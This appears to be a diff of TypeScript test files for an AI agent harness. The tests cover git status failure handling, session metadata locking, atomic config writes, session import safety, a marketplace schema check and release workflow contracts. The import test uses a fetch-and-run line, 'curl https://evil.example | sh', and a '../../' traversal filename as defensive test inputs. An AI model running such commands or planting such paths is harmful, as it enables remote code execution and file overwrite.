+ await expect(readFile(join(directory, "removed.txt"), "utf8")).resolves.toBe("gone\n");
2530
+ await expect(stat(join(directory, "scratch.txt"))).rejects.toMatchObject({ code: "ENOENT" });
2531
+ await expect(execFile("git", ["status", "--porcelain"], { cwd: directory })).resolves.toMatchObject({ stdout: "" });
2532
+ });
2533
+
2534
+ test("surfaces git status failures and truncation instead of reporting a clean workspace", async () => {
2535
+ const context = new Context();
2536
+ contexts.push(context);
2537
+ const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-git-shim-"));
2538
+ temporaryDirectories.push(directory);
2539
+ const shimDirectory = join(directory, "bin");
2540
+ await mkdir(shimDirectory);
2541
+ const shim = join(shimDirectory, "git");
2542
+ await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
2543
+ const session = { sessionId: "files-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
2544
+ context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
2545
+ context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
2546
+ context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
2547
+ await context.plugin(apiPlugin);
2548
+
2549
+ const originalPath = process.env.PATH ?? "";
2550
+ process.env.PATH = `${shimDirectory}:${originalPath}`;
2551
+ try {
2552
+ await writeFile(shim, '#!/bin/sh\necho "fatal: index file corrupt" >&2\nexit 128\n', { mode: 0o755 });
2553
+ const failed = await fetch(context.webServer.url + "/api/files");
2554
+ expect(failed.status).toBe(500);
2555
+ await expect(failed.json()).resolves.toEqual({ error: "fatal: index file corrupt" });
2556
+
2557
+ await writeFile(shim, "#!/bin/sh\nprintf ' M tracked.txt\\n'\nseq 1 40000 | sed 's/^/?? untracked-/;s/$/.txt/'\n", { mode: 0o755 });
2558
+ const truncated = await fetch(context.webServer.url + "/api/files");
2559
+ expect(truncated.status).toBe(200);
2560
+ const payload = (await truncated.json()) as { items: { path: string }[]; truncated?: boolean };
2561
+ expect(payload.truncated).toBe(true);
2562
+ expect(payload.items[0]).toMatchObject({ path: "tracked.txt", status: "M", label: "modified" });
2563
+ expect(payload.items.length).toBeGreaterThan(1);
2564
+ expect(payload.items.length).toBeLessThan(40001);
2565
+ expect(payload.items.every((item) => /^(tracked|untracked-\d+)\.txt$/.test(item.path))).toBe(true);
2566
+ } finally {
2567
+ process.env.PATH = originalPath;
2568
+ }
2569
+ });
2570
+
2571
+ test("reports a git process killed by the output limit as a server failure rather than a rejected commit", async () => {
2572
+ const context = new Context();
2573
+ contexts.push(context);
2574
+ const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-git-kill-"));
2575
+ temporaryDirectories.push(directory);
2576
+ const shimDirectory = join(directory, "bin");
2577
+ await mkdir(shimDirectory);
2578
+ await writeFile(join(shimDirectory, "git"), "#!/bin/sh\nhead -c 3145728 /dev/zero | tr '\\0' x\n", { mode: 0o755 });
2579
+ await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
2580
+ const session = { sessionId: "commit-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
2581
+ context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
2582
+ context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
2583
+ context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
2584
+ await context.plugin(apiPlugin);
2585
+
2586
+ const originalPath = process.env.PATH ?? "";
2587
+ process.env.PATH = `${shimDirectory}:${originalPath}`;
2588
+ try {
2589
+ const response = await fetch(context.webServer.url + "/api/files/commit", {
2590
+ method: "POST",
2591
+ headers: { "content-type": "application/json" },
2592
+ body: JSON.stringify({ paths: ["README.md"], message: "Update README" }),
2593
+ });
2594
+ expect(response.status).toBe(500);
2595
+ await expect(response.json()).resolves.toEqual({ error: "git add produced more output than the buffer limit allows" });
2596
+ } finally {
2597
+ process.env.PATH = originalPath;
2598
+ }
2599
+ });
2600
+
2601
+ test("serializes concurrent session metadata updates so none are lost", async () => {
2602
+ const context = new Context();
2603
+ contexts.push(context);
2604
+ const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-metadata-"));
2605
+ temporaryDirectories.push(directory);
2606
+ await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
2607
+ const session = {
2608
+ sessionId: "metadata-session",
2609
+ sessionFile: undefined,
2610
+ messages: [],
2611
+ isStreaming: false,
2612
+ sessionManager: { getSessionDir: () => directory, isPersisted: () => true, getEntries: () => [] },
2613
+ subscribe: () => () => {},
2614
+ };
2615
+ context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
2616
+ context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
2617
+ context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
2618
+ await context.plugin(apiPlugin);
2619
+
2620
+ const paths = Array.from({ length: 8 }, (_, index) => join(directory, `2026-08-30T00-00-0${index}-000Z_session-${index}.jsonl`));
2621
+ const responses = await Promise.all(
2622
+ paths.map((path, index) =>
2623
+ index % 2 === 0
2624
+ ? fetch(context.webServer.url + "/api/session/metadata", {
2625
+ method: "POST",
2626
+ headers: { "content-type": "application/json" },
2627
+ body: JSON.stringify({ path, pinned: true }),
2628
+ })
2629
+ : fetch(context.webServer.url + "/api/sessions/batch", {
2630
+ method: "POST",
2631
+ headers: { "content-type": "application/json" },
2632
+ body: JSON.stringify({ action: "archive", paths: [path] }),
2633
+ }),
2634
+ ),
2635
+ );
2636
+ expect(responses.map((response) => response.status)).toEqual(Array(8).fill(200));
2637
+ const stored = JSON.parse(await readFile(join(directory, ".pi-harness-session-meta.json"), "utf8")) as Record<
2638
+ string,
2639
+ { pinned?: boolean; archived?: boolean }
2640
+ >;
2641
+ expect(Object.keys(stored).sort()).toEqual([...paths].sort());
2642
+ paths.forEach((path, index) => expect(stored[path]).toEqual(index % 2 === 0 ? { pinned: true } : { archived: true }));
2643
+ const leftovers = (await readdir(directory)).filter((name) => name.endsWith(".tmp"));
2644
+ expect(leftovers).toEqual([]);
2645
+ });
2646
+
2647
+ test("quarantines corrupt session metadata instead of silently replacing it", async () => {
2648
+ const context = new Context();
2649
+ contexts.push(context);
2650
+ const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-metadata-corrupt-"));
2651
+ temporaryDirectories.push(directory);
2652
+ const metadataFile = join(directory, ".pi-harness-session-meta.json");
2653
+ const corrupt = '{ "other.jsonl": { "arc';
2654
+ await writeFile(metadataFile, corrupt, "utf8");
2655
+ await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
2656
+ const session = {
2657
+ sessionId: "metadata-session",
2658
+ sessionFile: undefined,
2659
+ messages: [],
2660
+ isStreaming: false,
2661
+ sessionManager: { getSessionDir: () => directory, isPersisted: () => true, getEntries: () => [] },
2662
+ subscribe: () => () => {},
2663
+ };
2664
+ context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
2665
+ context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
2666
+ context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
2667
+ await context.plugin(apiPlugin);
2668
+
2669
+ const list = await fetch(context.webServer.url + "/api/sessions");
2670
+ expect(list.status).toBe(200);
2671
+ const quarantined = (await readdir(directory)).filter((name) => name.startsWith(".pi-harness-session-meta.json.corrupt-"));
2672
+ expect(quarantined).toHaveLength(1);
2673
+ await expect(readFile(join(directory, quarantined[0] ?? ""), "utf8")).resolves.toBe(corrupt);
2674
+ await expect(stat(metadataFile)).rejects.toMatchObject({ code: "ENOENT" });
2675
+
2676
+ const path = join(directory, "2026-08-30T00-00-00-000Z_pinned.jsonl");
2677
+ const update = await fetch(context.webServer.url + "/api/session/metadata", {
2678
+ method: "POST",
2679
+ headers: { "content-type": "application/json" },
2680
+ body: JSON.stringify({ path, pinned: true }),
2681
+ });
2682
+ expect(update.status).toBe(200);
2683
+ await expect(update.json()).resolves.toEqual({ path, metadata: { pinned: true } });
2684
+ expect(JSON.parse(await readFile(metadataFile, "utf8"))).toEqual({ [path]: { pinned: true } });
2685
+ await expect(readFile(join(directory, quarantined[0] ?? ""), "utf8")).resolves.toBe(corrupt);
2686
+ });
2687
+
2688
+ test("replaces settings.json atomically through the config source route", async () => {
2689
+ const context = new Context();
2690
+ contexts.push(context);
2691
+ const agentDir = await mkdtemp(join(tmpdir(), "pi-harness-api-agent-"));
2692
+ temporaryDirectories.push(agentDir);
2693
+ const settingsPath = join(agentDir, "settings.json");
2694
+ await writeFile(settingsPath, '{"stale":true}\n', "utf8");
2695
+ await chmod(settingsPath, 0o444);
2696
+ await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
2697
+ const settingsManager = new Proxy({}, { get: () => () => ({}) });
2698
+ const session = { sessionId: "config-session", sessionFile: undefined, messages: [], isStreaming: false, settingsManager, subscribe: () => () => {} };
2699
+ context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
2700
+ context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
2701
+ context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir, args: [], requestExit() {} });
2702
+ await context.plugin(apiPlugin);
2703
+
2704
+ const response = await fetch(context.webServer.url + "/api/config/source", {
2705
+ method: "POST",
2706
+ headers: { "content-type": "application/json" },
2707
+ body: JSON.stringify({ source: '{"defaultProvider":"test","defaultModel":"model"}' }),
2708
+ });
2709
+ expect(response.status).toBe(200);
2710
+ await expect(readFile(settingsPath, "utf8")).resolves.toBe('{\n "defaultProvider": "test",\n "defaultModel": "model"\n}\n');
2711
+ expect((await stat(settingsPath)).mode & 0o777).toBe(0o444);
2712
+ expect((await readdir(agentDir)).filter((name) => name.endsWith(".tmp"))).toEqual([]);
2713
+ });
2714
+
2715
+ test("imports session content through a private temporary file and never writes to a caller-supplied path", async () => {
2716
+ const context = new Context();
2717
+ contexts.push(context);
2718
+ const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-import-"));
2719
+ temporaryDirectories.push(directory);
2720
+ const sourceDir = join(directory, "source");
2721
+ const targetDir = join(directory, "target");
2722
+ await mkdir(sourceDir);
2723
+ await mkdir(targetDir);
2724
+ const source = SessionManager.create("/tmp", sourceDir);
2725
+ source.appendMessage({ role: "user", content: "x".repeat(100 * 1024), timestamp: Date.now() });
2726
+ source.appendMessage({
2727
+ role: "assistant",
2728
+ content: [{ type: "text", text: "saved" }],
2729
+ api: "test",
2730
+ provider: "test",
2731
+ model: "model",
2732
+ usage: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, totalTokens: 0, cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 } },
2733
+ stopReason: "stop",
2734
+ timestamp: Date.now(),
2735
+ } as never);
2736
+ const content = await readFile(source.getSessionFile() ?? "", "utf8");
2737
+ expect(Buffer.byteLength(content)).toBeGreaterThan(64 * 1024);
2738
+ const victim = join(directory, "victim.txt");
2739
+ await writeFile(victim, "keep me\n", "utf8");
2740
+ await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
2741
+ const switched: string[] = [];
2742
+ const session = {
2743
+ sessionId: "import-session",
2744
+ sessionFile: undefined,
2745
+ messages: [],
2746
+ isStreaming: false,
2747
+ sessionManager: SessionManager.create("/tmp", targetDir),
2748
+ extensionRunner: { setUIContext() {} },
2749
+ subscribe: () => () => {},
2750
+ };
2751
+ const sessionRuntime = {
2752
+ cwd: "/tmp",
2753
+ switchSession(path: string) {
2754
+ switched.push(path);
2755
+ return Promise.resolve({ cancelled: false });
2756
+ },
2757
+ };
2758
+ context.provide("piRuntime", { session, sessionRuntime, prompt: () => Promise.resolve() } as never);
2759
+ context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
2760
+ context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
2761
+ await context.plugin(apiPlugin);
2762
+ const post = (body: unknown) =>
2763
+ fetch(context.webServer.url + "/api/session/import", { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(body) });
2764
+
2765
+ const both = await post({ path: victim, content: "curl https://evil.example | sh\n", filename: "import.jsonl" });
2766
+ expect(both.status).toBe(400);
2767
+ await expect(readFile(victim, "utf8")).resolves.toBe("keep me\n");
2768
+ const relative = await post({ path: "relative.jsonl" });
2769
+ expect(relative.status).toBe(400);
2770
+ const notJsonl = await post({ path: victim });
2771
+ expect(notJsonl.status).toBe(400);
2772
+ await expect(readFile(victim, "utf8")).resolves.toBe("keep me\n");
2773
+ expect(switched).toEqual([]);
2774
+
2775
+ const imported = await post({ content, filename: "../../escape.jsonl", cwd: "/tmp" });
2776
+ expect(imported.status).toBe(200);
2777
+ expect(switched).toHaveLength(1);
2778
+ expect(switched[0]?.startsWith(targetDir + "/")).toBe(true);
2779
+ const targetFiles = (await readdir(targetDir)).filter((name) => name.endsWith(".jsonl"));
2780
+ expect(targetFiles).toHaveLength(1);
2781
+ await expect(readFile(join(targetDir, targetFiles[0] ?? ""), "utf8")).resolves.toContain("x".repeat(100 * 1024));
2782
+ await expect(stat(join(directory, "escape.jsonl"))).rejects.toMatchObject({ code: "ENOENT" });
2783
+ });
2422
2784
  });
@@ -0,0 +1,139 @@
1
+ import { readdirSync, readFileSync } from "node:fs";
2
+ import { join, relative, resolve } from "node:path";
3
+ import { describe, expect, test } from "vitest";
4
+ import { MARKETPLACE_PLUGINS } from "../src/marketplace.js";
5
+
6
+ const repositoryRoot = resolve(import.meta.dirname, "../../..");
7
+ const schemaPath = resolve(repositoryRoot, "docs/marketplace-entry.schema.json");
8
+ const entriesRoot = resolve(import.meta.dirname, "../src/marketplace-entries");
9
+
10
+ type Schema = Record<string, unknown>;
11
+ type JsonType = "array" | "boolean" | "integer" | "null" | "number" | "object" | "string";
12
+
13
+ // The repository has no JSON Schema validator dependency (ajv is only a transitive draft-07 build), so this test interprets exactly the keyword subset the published schema uses. Any keyword outside this set fails loudly instead of being silently ignored, so a schema edit cannot escape the check.
14
+ const supportedKeywords = new Set([
15
+ "$schema",
16
+ "title",
17
+ "description",
18
+ "type",
19
+ "required",
20
+ "additionalProperties",
21
+ "properties",
22
+ "pattern",
23
+ "minLength",
24
+ "enum",
25
+ "const",
26
+ "items",
27
+ "minItems",
28
+ "uniqueItems",
29
+ "minimum",
30
+ "maximum",
31
+ "if",
32
+ "then",
33
+ "else",
34
+ ]);
35
+
36
+ function isRecord(value: unknown): value is Record<string, unknown> {
37
+ return value !== null && typeof value === "object" && !Array.isArray(value);
38
+ }
39
+
40
+ function jsonType(value: unknown): JsonType {
41
+ if (value === null) return "null";
42
+ if (Array.isArray(value)) return "array";
43
+ if (typeof value === "number") return Number.isInteger(value) ? "integer" : "number";
44
+ return typeof value as JsonType;
45
+ }
46
+
47
+ function sameJson(left: unknown, right: unknown): boolean {
48
+ return JSON.stringify(left) === JSON.stringify(right);
49
+ }
50
+
51
+ function validate(schema: Schema, value: unknown, path = "$"): string[] {
52
+ for (const keyword of Object.keys(schema)) {
53
+ if (!supportedKeywords.has(keyword)) throw new Error(`Unsupported schema keyword "${keyword}" at ${path}`);
54
+ }
55
+ const errors: string[] = [];
56
+ if (schema.type !== undefined) {
57
+ const allowed = (Array.isArray(schema.type) ? schema.type : [schema.type]) as JsonType[];
58
+ const actual = jsonType(value);
59
+ if (!allowed.some((type) => type === actual || (type === "number" && actual === "integer")))
60
+ errors.push(`${path}: expected ${allowed.join("|")}, got ${actual}`);
61
+ }
62
+ if (Array.isArray(schema.enum) && !schema.enum.some((candidate) => sameJson(candidate, value)))
63
+ errors.push(`${path}: not one of ${JSON.stringify(schema.enum)}`);
64
+ if ("const" in schema && !sameJson(schema.const, value)) errors.push(`${path}: expected ${JSON.stringify(schema.const)}`);
65
+ if (typeof value === "string") {
66
+ if (typeof schema.pattern === "string" && !new RegExp(schema.pattern, "u").test(value))
67
+ errors.push(`${path}: ${JSON.stringify(value)} does not match ${schema.pattern}`);
68
+ if (typeof schema.minLength === "number" && value.length < schema.minLength) errors.push(`${path}: shorter than ${schema.minLength}`);
69
+ }
70
+ if (typeof value === "number") {
71
+ if (typeof schema.minimum === "number" && value < schema.minimum) errors.push(`${path}: ${value} < ${schema.minimum}`);
72
+ if (typeof schema.maximum === "number" && value > schema.maximum) errors.push(`${path}: ${value} > ${schema.maximum}`);
73
+ }
74
+ if (Array.isArray(value)) {
75
+ if (typeof schema.minItems === "number" && value.length < schema.minItems) errors.push(`${path}: fewer than ${schema.minItems} items`);
76
+ if (schema.uniqueItems === true && new Set(value.map((item) => JSON.stringify(item))).size !== value.length) errors.push(`${path}: items are not unique`);
77
+ if (isRecord(schema.items)) value.forEach((item, index) => errors.push(...validate(schema.items as Schema, item, `${path}[${index}]`)));
78
+ }
79
+ if (isRecord(value)) {
80
+ const properties = isRecord(schema.properties) ? schema.properties : {};
81
+ if (Array.isArray(schema.required))
82
+ for (const key of schema.required as string[]) if (!(key in value)) errors.push(`${path}: missing required property "${key}"`);
83
+ for (const [key, property] of Object.entries(properties)) {
84
+ if (key in value) errors.push(...validate(property as Schema, value[key], `${path}.${key}`));
85
+ }
86
+ if (schema.additionalProperties === false) {
87
+ for (const key of Object.keys(value)) if (!(key in properties)) errors.push(`${path}: unexpected property "${key}"`);
88
+ }
89
+ }
90
+ if (isRecord(schema.if)) {
91
+ const branch = validate(schema.if, value, path).length === 0 ? schema.then : schema.else;
92
+ if (isRecord(branch)) errors.push(...validate(branch, value, path));
93
+ }
94
+ return errors;
95
+ }
96
+
97
+ function entryFiles(directory: string): string[] {
98
+ return readdirSync(directory, { withFileTypes: true }).flatMap((entry) => {
99
+ const path = join(directory, entry.name);
100
+ if (entry.isDirectory()) return entryFiles(path);
101
+ return entry.isFile() && entry.name.endsWith(".json") ? [path] : [];
102
+ });
103
+ }
104
+
105
+ const schema = JSON.parse(readFileSync(schemaPath, "utf8")) as Schema;
106
+ const files = entryFiles(entriesRoot).sort();
107
+ const readEntry = (path: string): Record<string, unknown> => JSON.parse(readFileSync(path, "utf8")) as Record<string, unknown>;
108
+ const validEntry = (): Record<string, unknown> => readEntry(join(entriesRoot, "official", "agent-teams.json"));
109
+ const groupEntry = (): Record<string, unknown> => readEntry(join(entriesRoot, "official", "cordis-group.json"));
110
+
111
+ describe("marketplace entry schema", () => {
112
+ test("covers every shipped entry file", () => {
113
+ expect(files.length).toBe(MARKETPLACE_PLUGINS.length);
114
+ });
115
+
116
+ test.each(files.map((path) => [relative(entriesRoot, path), path] as const))("accepts %s", (_name, path) => {
117
+ expect(validate(schema, readEntry(path))).toEqual([]);
118
+ });
119
+
120
+ test("accepts core plugin subpaths and group entries with array config", () => {
121
+ expect(validate(schema, validEntry())).toEqual([]);
122
+ expect(validate(schema, groupEntry())).toEqual([]);
123
+ expect(validate(schema, { ...validEntry(), statistics: { downloads30d: 12, quality: 0.5, updatedAt: "2026-01-01T00:00:00.000Z" } })).toEqual([]);
124
+ });
125
+
126
+ test("rejects entries the runtime validator rejects", () => {
127
+ const withoutCategory = validEntry();
128
+ delete withoutCategory.category;
129
+ expect(validate(schema, withoutCategory)).toContain('$: missing required property "category"');
130
+ expect(validate(schema, { ...validEntry(), category: { id: "Not Kebab", label: "x" } })).not.toEqual([]);
131
+ expect(validate(schema, { ...validEntry(), category: { id: "collaboration", label: " " } })).not.toEqual([]);
132
+ expect(validate(schema, { ...validEntry(), packageName: "Not/Valid Name" })).not.toEqual([]);
133
+ expect(validate(schema, { ...validEntry(), profile: { name: "@pi-harness/core/plugins/agent-teams", config: [] } })).not.toEqual([]);
134
+ expect(validate(schema, { ...groupEntry(), profile: { name: "@deepseek-ai/cordis-plugin-group", group: true, config: {} } })).not.toEqual([]);
135
+ expect(validate(schema, { ...validEntry(), capabilities: [] })).not.toEqual([]);
136
+ expect(validate(schema, { ...validEntry(), repository: "http://example.com" })).not.toEqual([]);
137
+ expect(validate(schema, { ...validEntry(), unexpected: true })).not.toEqual([]);
138
+ });
139
+ });
@@ -0,0 +1,77 @@
1
+ import { readdirSync, readFileSync, statSync } from "node:fs";
2
+ import { dirname, join, relative, resolve } from "node:path";
3
+ import { describe, expect, test } from "vitest";
4
+
5
+ const repositoryRoot = resolve(import.meta.dirname, "../../..");
6
+
7
+ const readText = (path: string): string => readFileSync(resolve(repositoryRoot, path), "utf8");
8
+ const readJson = (path: string): Record<string, unknown> => JSON.parse(readText(path)) as Record<string, unknown>;
9
+
10
+ function sourceFiles(directory: string, extension: string): string[] {
11
+ return readdirSync(directory, { withFileTypes: true }).flatMap((entry) => {
12
+ const path = join(directory, entry.name);
13
+ if (entry.isDirectory()) return sourceFiles(path, extension);
14
+ return entry.isFile() && entry.name.endsWith(extension) ? [path] : [];
15
+ });
16
+ }
17
+
18
+ // Reduces a bare module specifier such as "@scope/name/subpath" or "name/subpath" to the npm package that provides it.
19
+ function packageNameOf(specifier: string): string {
20
+ const segments = specifier.split("/");
21
+ return specifier.startsWith("@") ? segments.slice(0, 2).join("/") : (segments[0] ?? specifier);
22
+ }
23
+
24
+ function workspaceNameFor(binTarget: string): string {
25
+ let directory = dirname(resolve(repositoryRoot, binTarget));
26
+ while (directory !== repositoryRoot) {
27
+ const manifest = join(directory, "package.json");
28
+ if (statSync(manifest, { throwIfNoEntry: false })?.isFile()) return (JSON.parse(readFileSync(manifest, "utf8")) as { name: string }).name;
29
+ directory = dirname(directory);
30
+ }
31
+ throw new Error(`No workspace manifest above ${binTarget}`);
32
+ }
33
+
34
+ describe("release contract", () => {
35
+ const workflow = readText(".github/workflows/release.yml");
36
+
37
+ test("publish step retries after a failed publish instead of trusting the release tag", () => {
38
+ // The tag is pushed before npm publish runs, so its existence must never be used as evidence that a package version was submitted.
39
+ expect(workflow).not.toContain("RELEASE_TAG_EXISTS");
40
+ expect(workflow).not.toContain("was already submitted");
41
+ expect(workflow).not.toContain("tag_exists=$tag_exists");
42
+ expect(workflow).toContain("npm publish --workspace @pi-harness/core --access public");
43
+ expect(workflow).toContain("npm publish --access public");
44
+ });
45
+
46
+ test("pins every action to a full commit SHA with its release tag recorded", () => {
47
+ const uses = [...workflow.matchAll(/^\s+uses:\s*(.+)$/gmu)].map((match) => match[1] ?? "");
48
+ expect(uses.length).toBeGreaterThanOrEqual(2);
49
+ for (const reference of uses) expect(reference).toMatch(/^[\w.-]+\/[\w.-]+@[0-9a-f]{40} # v\d+\.\d+\.\d+$/u);
50
+ });
51
+
52
+ test("prepack builds every workspace that a root bin points at", () => {
53
+ const root = readJson("package.json") as { bin: Record<string, string>; scripts: Record<string, string> };
54
+ expect(root.scripts.prepack).toBe("npm run build:web");
55
+ const built = [...root.scripts["build:web"]!.matchAll(/npm run build -w (\S+)/gu)].map((match) => match[1]);
56
+ for (const target of Object.values(root.bin)) expect(built, `${target} is not built by build:web`).toContain(workspaceNameFor(target));
57
+ expect(built.indexOf("@pi-harness/core")).toBeLessThan(built.indexOf("@pi-harness/cli"));
58
+ });
59
+
60
+ test("core declares every package its sources and shipped profiles load", () => {
61
+ const core = readJson("packages/core/package.json") as { name: string; dependencies: Record<string, string> };
62
+ const specifierPattern =
63
+ /(?:from\s*|import\s*\(\s*|import\.meta\.resolve\(\s*|require(?:\.resolve)?\(\s*)["']([@a-z][^"'\s]*)["']|"(@[a-z0-9._~-]+\/[a-z0-9._~-]+(?:\/[a-z0-9._~-]+)*)"/gu;
64
+ const required = new Map<string, string>();
65
+ for (const file of sourceFiles(resolve(repositoryRoot, "packages/core/src"), ".ts")) {
66
+ for (const match of readFileSync(file, "utf8").matchAll(specifierPattern))
67
+ required.set(packageNameOf(match[1] ?? match[2] ?? ""), relative(repositoryRoot, file));
68
+ }
69
+ for (const file of sourceFiles(resolve(repositoryRoot, "packages/core/profiles"), ".yml")) {
70
+ for (const match of readFileSync(file, "utf8").matchAll(/^\s*name:\s*"?([^"\s]+)"?\s*$/gmu))
71
+ required.set(packageNameOf(match[1] ?? ""), relative(repositoryRoot, file));
72
+ }
73
+ const external = [...required].filter(([name]) => !name.startsWith("node:") && !name.includes(":") && name !== core.name);
74
+ expect(external.length).toBeGreaterThan(0);
75
+ for (const [name, file] of external) expect(core.dependencies[name], `${name} (used by ${file}) is missing from ${core.name} dependencies`).toBeDefined();
76
+ });
77
+ });
@@ -33,6 +33,6 @@ describe("release package", () => {
33
33
  expect(workflow).toContain("npm publish --workspace @pi-harness/core --access public");
34
34
  expect(workflow).toContain("npm publish --access public");
35
35
  expect(workflow).toContain("Verify package availability");
36
- expect(workflow).toContain("RELEASE_TAG_EXISTS: ${{ steps.release.outputs.tag_exists }}");
36
+ expect(workflow).not.toContain("RELEASE_TAG_EXISTS");
37
37
  });
38
38
  });
@@ -37,10 +37,9 @@ describe("release version preparation", () => {
37
37
  "packages/api-gateway": { name: "@pi-harness/api-gateway", version: "0.1.2" },
38
38
  },
39
39
  });
40
- await writeJson(fixture, "packages/api-gateway/src/marketplace-entries/official/internal.json", {
41
- packageName: "@pi-harness/core/plugins/example",
42
- version: "0.1.2",
43
- });
40
+ const formattedInternalEntry = `{\n "packageName": "@pi-harness/core/plugins/example",\n "version": "0.1.2",\n "hooks": ["tool", "panel"],\n "profile": { "config": { "version": "keep-me" } }\n}\n`;
41
+ await mkdir(resolve(fixture, "packages/api-gateway/src/marketplace-entries/official"), { recursive: true });
42
+ await writeFile(resolve(fixture, "packages/api-gateway/src/marketplace-entries/official/internal.json"), formattedInternalEntry);
44
43
  await writeJson(fixture, "packages/api-gateway/src/marketplace-entries/official/external.json", { packageName: "external-plugin", version: "4.5.6" });
45
44
 
46
45
  await execFileAsync(process.execPath, [resolve(repositoryRoot, "scripts/set-release-version.mjs"), "0.1.3"], { cwd: fixture });
@@ -72,6 +71,9 @@ describe("release version preparation", () => {
72
71
  },
73
72
  });
74
73
  expect(internalEntry.version).toBe("0.1.3");
74
+ expect(await readFile(resolve(fixture, "packages/api-gateway/src/marketplace-entries/official/internal.json"), "utf8")).toBe(
75
+ formattedInternalEntry.replace('"version": "0.1.2"', '"version": "0.1.3"'),
76
+ );
75
77
  expect(externalEntry.version).toBe("4.5.6");
76
78
  expect(packedInternalEntry.version).toBe("0.1.3");
77
79
  expect(packedExternalEntry.version).toBe("4.5.6");
@@ -1,8 +1,11 @@
1
+ import { type PlatformPath } from "node:path";
1
2
  import type { Context } from "@deepseek-ai/cordis";
2
3
  import "@pi-harness/host-webserver";
3
4
  export interface WebAppConfig {
4
5
  readonly staticDir?: string;
5
6
  }
7
+ type ContainmentPath = Pick<PlatformPath, "isAbsolute" | "relative" | "sep">;
8
+ export declare function isInsideStaticRoot(root: string, candidate: string, pathApi?: ContainmentPath): boolean;
6
9
  declare const _default: {
7
10
  name: string;
8
11
  inject: string[];